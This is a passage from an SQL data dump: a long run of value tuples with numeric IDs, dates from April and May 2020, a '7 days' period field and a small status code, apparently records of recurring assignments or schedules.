days',0),(19000,12150,3755,4931,221,85,'2020-04-10','7 days',0),(19001,12149,3755,4931,221,85,'2020-04-10','7 days',0),(19002,12148,3755,4931,221,85,'2020-04-10','7 days',0),(19003,12147,3755,4931,221,85,'2020-04-10','7 days',2),(19004,12146,3755,4931,221,85,'2020-04-10','7 days',0),(19005,12145,3755,4931,221,85,'2020-04-10','7 days',0),(19006,12144,3755,4931,221,85,'2020-04-10','7 days',0),(19007,12143,3755,4931,221,85,'2020-04-10','7 days',0),(19008,12142,3755,4931,221,85,'2020-04-10','7 days',0),(19009,12141,3755,4931,221,85,'2020-04-10','7 days',0),(19010,12140,3755,4931,221,85,'2020-04-10','7 days',0),(19011,12139,3755,4931,221,85,'2020-04-10','7 days',0),(19012,12138,3755,4931,221,85,'2020-04-10','7 days',0),(19013,12137,3755,4931,221,85,'2020-04-10','7 days',0),(19019,9715,3722,4881,1343,86,'2020-04-10','7 days',0),(19020,9714,3722,4881,1343,86,'2020-04-10','7 days',0),(19021,9713,3722,4881,1343,86,'2020-04-10','7 days',2),(19022,9712,3722,4881,1343,86,'2020-04-10','7 days',0),(19023,9711,3722,4881,1343,86,'2020-04-10','7 days',0),(19024,9710,3722,4881,1343,86,'2020-04-10','7 days',0),(19025,9709,3722,4881,1343,86,'2020-04-10','7 days',0),(19026,9708,3722,4881,1343,86,'2020-04-10','7 days',0),(19027,9670,3722,4881,1343,86,'2020-04-10','7 days',0),(19028,9669,3722,4881,1343,86,'2020-04-10','7 days',0),(19029,9668,3722,4881,1343,86,'2020-04-10','7 days',0),(19030,9667,3722,4881,1343,86,'2020-04-10','7 days',0),(19031,9666,3722,4881,1343,86,'2020-04-10','7 days',0),(19032,9765,3733,4903,204,86,'2020-04-10','7 days',0),(19033,9764,3733,4903,204,86,'2020-04-10','7 days',0),(19034,9756,3733,4903,204,86,'2020-04-10','7 days',0),(19035,9755,3733,4903,204,86,'2020-04-10','7 days',0),(19036,9753,3733,4903,204,86,'2020-04-10','7 days',0),(19037,9752,3733,4903,204,86,'2020-04-10','7 days',0),(19038,9751,3733,4903,204,86,'2020-04-10','7 days',0),(19081,11520,3786,4584,194,45,'2020-04-13','7 days',1),(19082,11519,3786,4584,194,45,'2020-04-13','7 days',1),(19083,11518,3786,4584,194,45,'2020-04-13','7 days',1),(19084,6238,3753,4929,222,85,'2020-04-13','7 days',1),(19124,11715,3785,4820,194,45,'2020-04-13','7 days',1),(19125,11714,3785,4820,194,45,'2020-04-13','7 days',1),(19126,11715,3780,4952,194,45,'2020-04-13','7 days',1),(19127,11714,3780,4952,194,45,'2020-04-13','7 days',1),(19139,12223,3577,4674,221,85,'2020-04-13','7 days',2),(19140,12222,3577,4674,221,85,'2020-04-13','7 days',0),(19141,12230,3755,4931,221,85,'2020-04-13','7 days',0),(19142,12229,3755,4931,221,85,'2020-04-13','7 days',0),(19143,12228,3755,4931,221,85,'2020-04-13','7 days',0),(19144,12227,3755,4931,221,85,'2020-04-13','7 days',0),(19145,12226,3755,4931,221,85,'2020-04-13','7 days',0),(19146,12225,3755,4931,221,85,'2020-04-13','7 days',0),(19147,12224,3755,4931,221,85,'2020-04-13','7 days',0),(19148,12172,3755,4931,221,85,'2020-04-13','7 days',0),(19149,12171,3755,4931,221,85,'2020-04-13','7 days',0),(19150,12170,3755,4931,221,85,'2020-04-13','7 days',0),(19151,12169,3755,4931,221,85,'2020-04-13','7 days',0),(19152,12168,3755,4931,221,85,'2020-04-13','7 days',0),(19153,11970,3777,4945,204,86,'2020-04-13','7 days',0),(19154,11969,3777,4945,204,86,'2020-04-13','7 days',2),(19155,11967,3777,4945,204,86,'2020-04-13','7 days',0),(19156,11965,3777,4945,204,86,'2020-04-13','7 days',1),(19157,11964,3777,4945,204,86,'2020-04-13','7 days',0),(19158,12230,3753,4929,222,85,'2020-04-13','7 days',0),(19159,11962,3777,4945,204,86,'2020-04-13','7 days',0),(19160,12229,3753,4929,222,85,'2020-04-13','7 days',0),(19161,11961,3777,4945,204,86,'2020-04-13','7 days',1),(19162,11957,3777,4945,204,86,'2020-04-13','7 days',0),(19163,12228,3753,4929,222,85,'2020-04-13','7 days',0),(19164,11954,3777,4945,204,86,'2020-04-13','7 days',1),(19165,12227,3753,4929,222,85,'2020-04-13','7 days',0),(19166,11951,3777,4945,204,86,'2020-04-13','7 days',0),(19167,12226,3753,4929,222,85,'2020-04-13','7 days',0),(19168,12225,3753,4929,222,85,'2020-04-13','7 days',0),(19169,11949,3777,4945,204,86,'2020-04-13','7 days',2),(19170,12224,3753,4929,222,85,'2020-04-13','7 days',0),(19172,11698,3775,4944,1342,971,'2020-04-14','7 days',2),(19173,11456,3775,4944,1342,971,'2020-04-14','7 days',1),(19174,11126,3775,4944,1342,971,'2020-04-14','7 days',1),(19175,10978,3775,4944,1342,971,'2020-04-14','7 days',1),(19176,10966,3775,4944,1342,971,'2020-04-14','7 days',1),(19177,10965,3775,4944,1342,971,'2020-04-14','7 days',0),(19178,10964,3775,4944,1342,971,'2020-04-14','7 days',0),(19179,10963,3775,4944,1342,971,'2020-04-14','7 days',0),(19231,9727,3791,4963,1343,86,'2020-04-14','7 days',0),(19232,9001,3791,4963,1343,86,'2020-04-14','7 days',0),(19238,12241,3791,4963,1343,86,'2020-04-14','7 days',0),(19239,12240,3791,4963,1343,86,'2020-04-14','7 days',0),(19240,12239,3791,4963,1343,86,'2020-04-14','7 days',0),(19243,9717,3713,4868,203,86,'2020-04-14','7 days',0),(19244,9716,3713,4868,203,86,'2020-04-14','7 days',0),(19245,9612,3713,4868,203,86,'2020-04-14','7 days',2),(19246,9611,3713,4868,203,86,'2020-04-14','7 days',2),(19247,9608,3713,4868,203,86,'2020-04-14','7 days',0),(19248,9607,3713,4868,203,86,'2020-04-14','7 days',0),(19249,9606,3713,4868,203,86,'2020-04-14','7 days',0),(19250,9090,3713,4868,203,86,'2020-04-14','7 days',0),(19251,9007,3713,4868,203,86,'2020-04-14','7 days',0),(19252,9006,3713,4868,203,86,'2020-04-14','7 days',0),(19253,9004,3713,4868,203,86,'2020-04-14','7 days',0),(19254,9003,3713,4868,203,86,'2020-04-14','7 days',0),(19255,9002,3713,4868,203,86,'2020-04-14','7 days',1),(19256,9000,3713,4868,203,86,'2020-04-14','7 days',1),(19257,8999,3713,4868,203,86,'2020-04-14','7 days',0),(19258,8997,3713,4868,203,86,'2020-04-14','7 days',1),(19259,12249,3787,4959,203,86,'2020-04-14','7 days',0),(19260,12248,3787,4959,203,86,'2020-04-14','7 days',0),(19261,12247,3787,4959,203,86,'2020-04-14','7 days',0),(19262,12246,3787,4959,203,86,'2020-04-14','7 days',0),(19263,12245,3787,4959,203,86,'2020-04-14','7 days',0),(19264,12244,3787,4959,203,86,'2020-04-14','7 days',0),(19265,12243,3787,4959,203,86,'2020-04-14','7 days',0),(19266,6238,3755,4931,221,85,'2020-04-14','7 days',2),(19267,10884,3577,4674,221,85,'2020-04-14','7 days',2),(19268,10940,3577,4674,221,85,'2020-04-14','7 days',0),(19269,10937,3577,4674,221,85,'2020-04-14','7 days',0),(19270,10936,3577,4674,221,85,'2020-04-14','7 days',0),(19271,10934,3577,4674,221,85,'2020-04-14','7 days',0),(19272,10933,3577,4674,221,85,'2020-04-14','7 days',0),(19273,10932,3577,4674,221,85,'2020-04-14','7 days',0),(19274,10923,3577,4674,221,85,'2020-04-14','7 days',0),(19275,10921,3577,4674,221,85,'2020-04-14','7 days',2),(19276,10892,3577,4674,221,85,'2020-04-14','7 days',0),(19277,10891,3577,4674,221,85,'2020-04-14','7 days',0),(19278,10890,3577,4674,221,85,'2020-04-14','7 days',0),(19280,10888,3577,4674,221,85,'2020-04-14','7 days',0),(19281,10886,3577,4674,221,85,'2020-04-14','7 days',0),(19282,10885,3577,4674,221,85,'2020-04-14','7 days',0),(19283,10858,3577,4674,221,85,'2020-04-14','7 days',0),(19284,10856,3577,4674,221,85,'2020-04-14','7 days',0),(19285,10855,3577,4674,221,85,'2020-04-14','7 days',0),(19286,10854,3577,4674,221,85,'2020-04-14','7 days',1),(19287,10853,3577,4674,221,85,'2020-04-14','7 days',0),(19288,10286,3577,4674,221,85,'2020-04-14','7 days',0),(19289,6246,3577,4674,221,85,'2020-04-14','7 days',0),(19290,6245,3577,4674,221,85,'2020-04-14','7 days',2),(19291,6242,3577,4674,221,85,'2020-04-14','7 days',0),(19292,6240,3577,4674,221,85,'2020-04-14','7 days',2),(19293,6239,3577,4674,221,85,'2020-04-14','7 days',2),(19294,6237,3577,4674,221,85,'2020-04-14','7 days',0),(19295,6236,3577,4674,221,85,'2020-04-14','7 days',0),(19296,6219,3577,4674,221,85,'2020-04-14','7 days',0),(19297,5799,3577,4674,221,85,'2020-04-14','7 days',0),(19298,5798,3577,4674,221,85,'2020-04-14','7 days',0),(19299,5796,3577,4674,221,85,'2020-04-14','7 days',0),(19300,5794,3577,4674,221,85,'2020-04-14','7 days',1),(19301,5792,3577,4674,221,85,'2020-04-14','7 days',0),(19302,5791,3577,4674,221,85,'2020-04-14','7 days',0),(19315,12259,3791,4963,1343,86,'2020-04-14','7 days',1),(19316,12258,3791,4963,1343,86,'2020-04-14','7 days',0),(19317,12257,3791,4963,1343,86,'2020-04-14','7 days',0),(19318,12256,3791,4963,1343,86,'2020-04-14','7 days',0),(19319,12255,3791,4963,1343,86,'2020-04-14','7 days',0),(19320,9797,3741,4854,1067,326,'2020-04-14','7 days',1),(19321,9796,3741,4854,1067,326,'2020-04-14','7 days',0),(19322,9795,3741,4854,1067,326,'2020-04-14','7 days',0),(19323,7418,3741,4854,1067,326,'2020-04-14','7 days',0),(19324,7415,3741,4854,1067,326,'2020-04-14','7 days',1),(19328,12269,3787,4959,203,86,'2020-04-14','7 days',0),(19329,12268,3787,4959,203,86,'2020-04-14','7 days',2),(19330,12267,3787,4959,203,86,'2020-04-14','7 days',0),(19331,12266,3787,4959,203,86,'2020-04-14','7 days',0),(19332,12265,3787,4959,203,86,'2020-04-14','7 days',0),(19416,12153,3798,4975,222,85,'2020-04-15','7 days',0),(19418,12152,3798,4975,222,85,'2020-04-15','7 days',0),(19419,12151,3798,4975,222,85,'2020-04-15','7 days',0),(19421,12150,3798,4975,222,85,'2020-04-15','7 days',0),(19422,12149,3798,4975,222,85,'2020-04-15','7 days',0),(19423,12140,3798,4975,222,85,'2020-04-15','7 days',2),(19424,12139,3798,4975,222,85,'2020-04-15','7 days',0),(19425,12138,3798,4975,222,85,'2020-04-15','7 days',0),(19426,12137,3798,4975,222,85,'2020-04-15','7 days',1),(19437,11813,3804,4984,222,85,'2020-04-15','7 days',0),(19438,11812,3804,4984,222,85,'2020-04-15','7 days',0),(19439,10942,3804,4984,222,85,'2020-04-15','7 days',0),(19440,10941,3804,4984,222,85,'2020-04-15','7 days',0),(19441,10939,3804,4984,222,85,'2020-04-15','7 days',0),(19442,10938,3804,4984,222,85,'2020-04-15','7 days',0),(19443,10937,3804,4984,222,85,'2020-04-15','7 days',0),(19444,10930,3804,4984,222,85,'2020-04-15','7 days',0),(19445,10928,3804,4984,222,85,'2020-04-15','7 days',0),(19446,10920,3804,4984,222,85,'2020-04-15','7 days',0),(19447,10919,3804,4984,222,85,'2020-04-15','7 days',0),(19454,12264,3529,4611,1011,91,'2020-04-16','7 days',1),(19455,12263,3529,4611,1011,91,'2020-04-16','7 days',1),(19456,12274,3529,4611,1011,91,'2020-04-16','7 days',1),(19457,12273,3529,4611,1011,91,'2020-04-16','7 days',1),(19458,12274,3644,4764,1012,91,'2020-04-16','7 days',1),(19459,12273,3644,4764,1012,91,'2020-04-16','7 days',1),(19460,12264,3644,4764,1012,91,'2020-04-16','7 days',1),(19461,12263,3644,4764,1012,91,'2020-04-16','7 days',1),(19472,11581,2838,3681,203,86,'2020-04-16','7 days',0),(19473,11580,2838,3681,203,86,'2020-04-16','7 days',0),(19474,10946,2838,3681,203,86,'2020-04-16','7 days',2),(19475,10945,2838,3681,203,86,'2020-04-16','7 days',2),(19476,10685,2838,3681,203,86,'2020-04-16','7 days',1),(19477,10684,2838,3681,203,86,'2020-04-16','7 days',1),(19478,9718,2838,3681,203,86,'2020-04-16','7 days',0),(19479,9717,2838,3681,203,86,'2020-04-16','7 days',0),(19480,9716,2838,3681,203,86,'2020-04-16','7 days',0),(19481,9612,2838,3681,203,86,'2020-04-16','7 days',2),(19482,9611,2838,3681,203,86,'2020-04-16','7 days',0),(19483,9608,2838,3681,203,86,'2020-04-16','7 days',0),(19484,9607,2838,3681,203,86,'2020-04-16','7 days',0),(19485,9606,2838,3681,203,86,'2020-04-16','7 days',0),(19486,9090,2838,3681,203,86,'2020-04-16','7 days',0),(19487,9007,2838,3681,203,86,'2020-04-16','7 days',0),(19488,9006,2838,3681,203,86,'2020-04-16','7 days',0),(19489,9005,2838,3681,203,86,'2020-04-16','7 days',0),(19490,9004,2838,3681,203,86,'2020-04-16','7 days',0),(19491,9003,2838,3681,203,86,'2020-04-16','7 days',0),(19492,9002,2838,3681,203,86,'2020-04-16','7 days',1),(19493,9000,2838,3681,203,86,'2020-04-16','7 days',1),(19494,8999,2838,3681,203,86,'2020-04-16','7 days',0),(19495,8997,2838,3681,203,86,'2020-04-16','7 days',1),(19496,9005,3787,4959,203,86,'2020-04-16','7 days',0),(19497,9004,3787,4959,203,86,'2020-04-16','7 days',0),(19498,9003,3787,4959,203,86,'2020-04-16','7 days',0),(19499,9002,3787,4959,203,86,'2020-04-16','7 days',1),(19500,12285,3799,4976,1393,86,'2020-04-16','7 days',0),(19501,12284,3799,4976,1393,86,'2020-04-16','7 days',0),(19502,12283,3799,4976,1393,86,'2020-04-16','7 days',0),(19503,12282,3799,4976,1393,86,'2020-04-16','7 days',0),(19504,12281,3799,4976,1393,86,'2020-04-16','7 days',0),(19505,12280,3799,4976,1393,86,'2020-04-16','7 days',0),(19506,12279,3799,4976,1393,86,'2020-04-16','7 days',0),(19507,12278,3799,4976,1393,86,'2020-04-16','7 days',2),(19508,12277,3799,4976,1393,86,'2020-04-16','7 days',2),(19509,12276,3799,4976,1393,86,'2020-04-16','7 days',2),(19510,10916,3799,4976,1393,86,'2020-04-16','7 days',0),(19511,10915,3799,4976,1393,86,'2020-04-16','7 days',0),(19512,10914,3799,4976,1393,86,'2020-04-16','7 days',2),(19513,10913,3799,4976,1393,86,'2020-04-16','7 days',0),(19514,9091,3799,4976,1393,86,'2020-04-16','7 days',0),(19515,8996,3799,4976,1393,86,'2020-04-16','7 days',1),(19593,11715,3809,4952,194,45,'2020-04-16','7 days',1),(19595,11714,3809,4952,194,45,'2020-04-16','7 days',1),(19632,12303,3812,4990,204,86,'2020-04-17','7 days',1),(19633,12302,3812,4990,204,86,'2020-04-17','7 days',0),(19634,12301,3812,4990,204,86,'2020-04-17','7 days',0),(19635,12300,3812,4990,204,86,'2020-04-17','7 days',0),(19636,12299,3812,4990,204,86,'2020-04-17','7 days',0),(19637,12298,3812,4990,204,86,'2020-04-17','7 days',0),(19638,12297,3812,4990,204,86,'2020-04-17','7 days',0),(19639,12296,3812,4990,204,86,'2020-04-17','7 days',0),(19640,11970,3812,4990,204,86,'2020-04-17','7 days',0),(19641,11969,3812,4990,204,86,'2020-04-17','7 days',0),(19642,11967,3812,4990,204,86,'2020-04-17','7 days',0),(19643,11965,3812,4990,204,86,'2020-04-17','7 days',0),(19644,11964,3812,4990,204,86,'2020-04-17','7 days',0),(19645,11962,3812,4990,204,86,'2020-04-17','7 days',0),(19646,11961,3812,4990,204,86,'2020-04-17','7 days',0),(19647,11959,3812,4990,204,86,'2020-04-17','7 days',2),(19648,11957,3812,4990,204,86,'2020-04-17','7 days',0),(19649,11954,3812,4990,204,86,'2020-04-17','7 days',1),(19650,11951,3812,4990,204,86,'2020-04-17','7 days',0),(19651,11949,3812,4990,204,86,'2020-04-17','7 days',0),(19652,8997,3791,4963,1343,86,'2020-04-17','7 days',1),(19751,12322,3577,4674,221,85,'2020-04-20','7 days',1),(19784,9090,3823,5004,1251,86,'2020-04-20','7 days',0),(19785,9007,3823,5004,1251,86,'2020-04-20','7 days',0),(19786,9006,3823,5004,1251,86,'2020-04-20','7 days',0),(19787,9005,3823,5004,1251,86,'2020-04-20','7 days',0),(19788,9004,3823,5004,1251,86,'2020-04-20','7 days',0),(19789,9003,3823,5004,1251,86,'2020-04-20','7 days',0),(19790,9002,3823,5004,1251,86,'2020-04-20','7 days',1),(19791,9000,3823,5004,1251,86,'2020-04-20','7 days',1),(19792,8999,3823,5004,1251,86,'2020-04-20','7 days',0),(19793,8997,3823,5004,1251,86,'2020-04-20','7 days',1),(19794,11430,3830,5015,1394,86,'2020-04-20','7 days',0),(19795,11429,3830,5015,1394,86,'2020-04-20','7 days',0),(19796,11428,3830,5015,1394,86,'2020-04-20','7 days',0),(19797,11425,3830,5015,1394,86,'2020-04-20','7 days',0),(19798,11424,3830,5015,1394,86,'2020-04-20','7 days',0),(19799,11419,3830,5015,1394,86,'2020-04-20','7 days',0),(19800,11418,3830,5015,1394,86,'2020-04-20','7 days',0),(19801,11417,3830,5015,1394,86,'2020-04-20','7 days',0),(19802,11416,3830,5015,1394,86,'2020-04-20','7 days',1),(19803,11415,3830,5015,1394,86,'2020-04-20','7 days',0),(19804,11414,3830,5015,1394,86,'2020-04-20','7 days',0),(19805,9715,3831,5016,1251,86,'2020-04-20','7 days',0),(19806,9714,3831,5016,1251,86,'2020-04-20','7 days',0),(19807,9713,3831,5016,1251,86,'2020-04-20','7 days',0),(19808,9712,3831,5016,1251,86,'2020-04-20','7 days',0),(19809,9711,3831,5016,1251,86,'2020-04-20','7 days',0),(19810,9710,3831,5016,1251,86,'2020-04-20','7 days',0),(19811,9709,3831,5016,1251,86,'2020-04-20','7 days',0),(19812,9708,3831,5016,1251,86,'2020-04-20','7 days',0),(19813,9670,3831,5016,1251,86,'2020-04-20','7 days',0),(19814,9669,3831,5016,1251,86,'2020-04-20','7 days',0),(19815,9668,3831,5016,1251,86,'2020-04-20','7 days',0),(19816,9667,3831,5016,1251,86,'2020-04-20','7 days',1),(19817,9666,3831,5016,1251,86,'2020-04-20','7 days',2),(19842,12353,3777,4945,204,86,'2020-04-20','7 days',2),(19843,12352,3777,4945,204,86,'2020-04-20','7 days',0),(19844,12351,3777,4945,204,86,'2020-04-20','7 days',0),(19845,11848,3777,4945,204,86,'2020-04-20','7 days',0),(19846,12356,3777,4945,204,86,'2020-04-20','7 days',2),(19847,12355,3777,4945,204,86,'2020-04-20','7 days',0),(19848,12354,3777,4945,204,86,'2020-04-20','7 days',0),(19849,9535,3777,4945,204,86,'2020-04-20','7 days',0),(19850,9534,3777,4945,204,86,'2020-04-20','7 days',0),(19851,9533,3777,4945,204,86,'2020-04-20','7 days',2),(19852,9532,3777,4945,204,86,'2020-04-20','7 days',1),(19853,9531,3777,4945,204,86,'2020-04-20','7 days',0),(19854,12361,3823,5004,1251,86,'2020-04-20','7 days',0),(19855,12360,3823,5004,1251,86,'2020-04-20','7 days',0),(19856,12359,3823,5004,1251,86,'2020-04-20','7 days',0),(19857,12358,3823,5004,1251,86,'2020-04-20','7 days',0),(19858,12357,3823,5004,1251,86,'2020-04-20','7 days',0),(19859,12371,3799,4976,1393,86,'2020-04-20','7 days',0),(19860,12370,3799,4976,1393,86,'2020-04-20','7 days',0),(19861,12369,3799,4976,1393,86,'2020-04-20','7 days',1),(19862,12368,3799,4976,1393,86,'2020-04-20','7 days',0),(19863,12367,3799,4976,1393,86,'2020-04-20','7 days',0),(19864,12366,3799,4976,1393,86,'2020-04-20','7 days',0),(19865,12365,3799,4976,1393,86,'2020-04-20','7 days',0),(19866,12364,3799,4976,1393,86,'2020-04-20','7 days',0),(19867,12363,3799,4976,1393,86,'2020-04-20','7 days',0),(19868,12362,3799,4976,1393,86,'2020-04-20','7 days',0),(19869,12375,3791,4963,1343,86,'2020-04-20','7 days',0),(19870,12374,3791,4963,1343,86,'2020-04-20','7 days',0),(19871,12373,3791,4963,1343,86,'2020-04-20','7 days',0),(19872,12372,3791,4963,1343,86,'2020-04-20','7 days',0),(19873,12376,3791,4963,1343,86,'2020-04-20','7 days',0),(19874,12377,3791,4963,1343,86,'2020-04-20','7 days',0),(19875,12379,3787,4959,203,86,'2020-04-20','7 days',0),(19876,12378,3787,4959,203,86,'2020-04-20','7 days',0),(19877,11724,3787,4959,203,86,'2020-04-20','7 days',0),(19878,11723,3787,4959,203,86,'2020-04-20','7 days',0),(19879,11722,3787,4959,203,86,'2020-04-20','7 days',0),(19880,11721,3787,4959,203,86,'2020-04-20','7 days',0),(19881,11720,3787,4959,203,86,'2020-04-20','7 days',1),(19882,11719,3787,4959,203,86,'2020-04-20','7 days',0),(19883,11718,3787,4959,203,86,'2020-04-20','7 days',1),(19884,11717,3787,4959,203,86,'2020-04-20','7 days',0),(19959,12407,3798,4975,222,85,'2020-04-21','7 days',2),(19960,12406,3798,4975,222,85,'2020-04-21','7 days',0),(19961,12405,3798,4975,222,85,'2020-04-21','7 days',0),(19962,12404,3798,4975,222,85,'2020-04-21','7 days',0),(19963,12403,3798,4975,222,85,'2020-04-21','7 days',1),(19964,12402,3798,4975,222,85,'2020-04-21','7 days',0),(19965,12401,3798,4975,222,85,'2020-04-21','7 days',0),(19966,12400,3798,4975,222,85,'2020-04-21','7 days',0),(19967,12399,3798,4975,222,85,'2020-04-21','7 days',0),(19968,12398,3798,4975,222,85,'2020-04-21','7 days',0),(19969,12397,3798,4975,222,85,'2020-04-21','7 days',0),(19970,12407,3804,4984,222,85,'2020-04-21','7 days',2),(19971,12406,3804,4984,222,85,'2020-04-21','7 days',0),(19972,12405,3804,4984,222,85,'2020-04-21','7 days',0),(19973,12404,3804,4984,222,85,'2020-04-21','7 days',0),(19974,12403,3804,4984,222,85,'2020-04-21','7 days',1),(19975,12402,3804,4984,222,85,'2020-04-21','7 days',0),(19976,12401,3804,4984,222,85,'2020-04-21','7 days',0),(19977,12400,3804,4984,222,85,'2020-04-21','7 days',0),(19978,12399,3804,4984,222,85,'2020-04-21','7 days',0),(19979,12398,3804,4984,222,85,'2020-04-21','7 days',0),(19980,12397,3804,4984,222,85,'2020-04-21','7 days',0),(19987,640,3833,5019,160,73,'2020-04-22','7 days',0),(19988,639,3833,5019,160,73,'2020-04-22','7 days',0),(19989,637,3833,5019,160,73,'2020-04-22','7 days',0),(19990,636,3833,5019,160,73,'2020-04-22','7 days',0),(19991,629,3833,5019,160,73,'2020-04-22','7 days',1),(20025,11698,3851,5039,1342,971,'2020-04-22','7 days',2),(20026,11456,3851,5039,1342,971,'2020-04-22','7 days',1),(20027,11126,3851,5039,1342,971,'2020-04-22','7 days',1),(20028,10978,3851,5039,1342,971,'2020-04-22','7 days',1),(20029,10967,3851,5039,1342,971,'2020-04-22','7 days',1),(20030,10966,3851,5039,1342,971,'2020-04-22','7 days',1),(20031,10965,3851,5039,1342,971,'2020-04-22','7 days',0),(20032,10964,3851,5039,1342,971,'2020-04-22','7 days',0),(20033,10963,3851,5039,1342,971,'2020-04-22','7 days',0),(20038,9537,3644,4764,1011,91,'2020-04-22','7 days',1),(20045,9537,3854,5044,1011,91,'2020-04-22','7 days',1),(20046,7022,3644,4764,1011,91,'2020-04-22','7 days',1),(20047,7021,3644,4764,1011,91,'2020-04-22','7 days',1),(20048,9158,3644,4764,1011,91,'2020-04-22','7 days',1),(20049,9157,3644,4764,1011,91,'2020-04-22','7 days',1),(20050,7019,3644,4764,1011,91,'2020-04-22','7 days',0),(20051,9537,3529,4611,1011,91,'2020-04-22','7 days',1),(20081,11689,3870,4566,194,45,'2020-04-23','7 days',1),(20085,11520,3870,4566,194,45,'2020-04-23','7 days',1),(20086,11519,3870,4566,194,45,'2020-04-23','7 days',1),(20092,12285,3874,5068,1394,86,'2020-04-23','7 days',0),(20093,12284,3874,5068,1394,86,'2020-04-23','7 days',0),(20094,12282,3874,5068,1394,86,'2020-04-23','7 days',0),(20095,12281,3874,5068,1394,86,'2020-04-23','7 days',0),(20096,12280,3874,5068,1394,86,'2020-04-23','7 days',0),(20097,12279,3874,5068,1394,86,'2020-04-23','7 days',0),(20098,12278,3874,5068,1394,86,'2020-04-23','7 days',0),(20099,12277,3874,5068,1394,86,'2020-04-23','7 days',2),(20100,12276,3874,5068,1394,86,'2020-04-23','7 days',2),(20101,10916,3874,5068,1394,86,'2020-04-23','7 days',0),(20102,10915,3874,5068,1394,86,'2020-04-23','7 days',1),(20103,10914,3874,5068,1394,86,'2020-04-23','7 days',2),(20104,10913,3874,5068,1394,86,'2020-04-23','7 days',0),(20105,9091,3874,5068,1394,86,'2020-04-23','7 days',0),(20106,8996,3874,5068,1394,86,'2020-04-23','7 days',1),(20107,12425,3863,5055,203,86,'2020-04-23','7 days',0),(20108,12424,3863,5055,203,86,'2020-04-23','7 days',1),(20109,12423,3863,5055,203,86,'2020-04-23','7 days',0),(20110,12422,3863,5055,203,86,'2020-04-23','7 days',0),(20111,12361,3863,5055,203,86,'2020-04-23','7 days',0),(20112,12356,3863,5055,203,86,'2020-04-23','7 days',2),(20113,12355,3863,5055,203,86,'2020-04-23','7 days',0),(20114,12354,3863,5055,203,86,'2020-04-23','7 days',2),(20115,9535,3863,5055,203,86,'2020-04-23','7 days',2),(20116,9534,3863,5055,203,86,'2020-04-23','7 days',0),(20117,9533,3863,5055,203,86,'2020-04-23','7 days',0),(20118,9532,3863,5055,203,86,'2020-04-23','7 days',1),(20119,9531,3863,5055,203,86,'2020-04-23','7 days',0),(20127,11876,3808,4987,161,73,'2020-04-24','7 days',1),(20128,11589,3808,4987,161,73,'2020-04-24','7 days',1),(20129,8781,3808,4987,161,73,'2020-04-24','7 days',0),(20130,672,3808,4987,161,73,'2020-04-24','7 days',0),(20131,661,3808,4987,161,73,'2020-04-24','7 days',2),(20132,659,3808,4987,161,73,'2020-04-24','7 days',1),(20133,647,3808,4987,161,73,'2020-04-24','7 days',0),(20155,9133,3864,5056,1011,91,'2020-04-24','7 days',1),(20156,12264,3864,5056,1011,91,'2020-04-24','7 days',1),(20157,12263,3864,5056,1011,91,'2020-04-24','7 days',1),(20158,7213,3864,5056,1011,91,'2020-04-24','7 days',1),(20159,7022,3864,5056,1011,91,'2020-04-24','7 days',1),(20160,7021,3864,5056,1011,91,'2020-04-24','7 days',1),(20177,11689,3886,5079,194,45,'2020-04-25','7 days',1),(20178,11845,3886,5079,194,45,'2020-04-25','7 days',1),(20179,11577,3886,5079,194,45,'2020-04-25','7 days',1),(20180,11520,3886,5079,194,45,'2020-04-25','7 days',1),(20181,11519,3886,5079,194,45,'2020-04-25','7 days',1),(20199,9009,3833,5019,160,73,'2020-04-25','7 days',0),(20200,9008,3833,5019,160,73,'2020-04-25','7 days',0),(20201,665,3833,5019,160,73,'2020-04-25','7 days',0),(20202,662,3833,5019,160,73,'2020-04-25','7 days',0),(20203,633,3833,5019,160,73,'2020-04-25','7 days',0),(20232,11430,3831,5016,1251,86,'2020-04-27','7 days',0),(20233,11429,3831,5016,1251,86,'2020-04-27','7 days',0),(20234,11428,3831,5016,1251,86,'2020-04-27','7 days',0),(20235,11425,3831,5016,1251,86,'2020-04-27','7 days',2),(20236,11424,3831,5016,1251,86,'2020-04-27','7 days',0),(20237,11419,3831,5016,1251,86,'2020-04-27','7 days',0),(20238,11418,3831,5016,1251,86,'2020-04-27','7 days',0),(20239,11417,3831,5016,1251,86,'2020-04-27','7 days',0),(20240,11416,3831,5016,1251,86,'2020-04-27','7 days',2),(20241,11415,3831,5016,1251,86,'2020-04-27','7 days',0),(20242,11414,3831,5016,1251,86,'2020-04-27','7 days',2),(20263,11689,3322,4360,194,45,'2020-04-27','7 days',1),(20404,11715,3894,4360,194,45,'2020-04-30','7 days',1),(20405,11714,3894,4360,194,45,'2020-04-30','7 days',1),(20457,12360,3938,5137,1343,86,'2020-05-01','7 days',2),(20458,12299,3938,5137,1343,86,'2020-05-01','7 days',0),(20459,12298,3938,5137,1343,86,'2020-05-01','7 days',0),(20460,12297,3938,5137,1343,86,'2020-05-01','7 days',0),(20461,11969,3938,5137,1343,86,'2020-05-01','7 days',2),(20462,11967,3938,5137,1343,86,'2020-05-01','7 days',0),(20463,11965,3938,5137,1343,86,'2020-05-01','7 days',0),(20464,11964,3938,5137,1343,86,'2020-05-01','7 days',0),(20465,11962,3938,5137,1343,86,'2020-05-01','7 days',0),(20466,11961,3938,5137,1343,86,'2020-05-01','7 days',0),(20467,11959,3938,5137,1343,86,'2020-05-01','7 days',2),(20468,11957,3938,5137,1343,86,'2020-05-01','7 days',2),(20469,11954,3938,5137,1343,86,'2020-05-01','7 days',1),(20470,11951,3938,5137,1343,86,'2020-05-01','7 days',0),(20471,11949,3938,5137,1343,86,'2020-05-01','7 days',2),(20472,11689,3971,5170,194,45,'2020-05-01','7 days',1),(20473,11845,3971,5170,194,45,'2020-05-01','7 days',1),(20474,11520,3971,5170,194,45,'2020-05-01','7 days',1),(20475,11519,3971,5170,194,45,'2020-05-01','7 days',1),(20477,11845,3935,5132,194,45,'2020-05-01','7 days',1),(20478,11520,3935,5132,194,45,'2020-05-01','7 days',1),(20479,11519,3935,5132,194,45,'2020-05-01','7 days',1),(20480,11350,3935,5132,194,45,'2020-05-01','7 days',1),(20481,11300,3935,5132,194,45,'2020-05-01','7 days',2),(20482,11299,3935,5132,194,45,'2020-05-01','7 days',2),(20483,11520,3972,5171,194,45,'2020-05-01','7 days',1),(20484,11519,3972,5171,194,45,'2020-05-01','7 days',1),(20485,11350,3972,5171,194,45,'2020-05-01','7 days',1),(20486,11300,3972,5171,194,45,'2020-05-01','7 days',2),(20487,11299,3972,5171,194,45,'2020-05-01','7 days',2),(20495,11876,3888,5082,160,73,'2020-05-02','7 days',2),(20496,11589,3888,5082,160,73,'2020-05-02','7 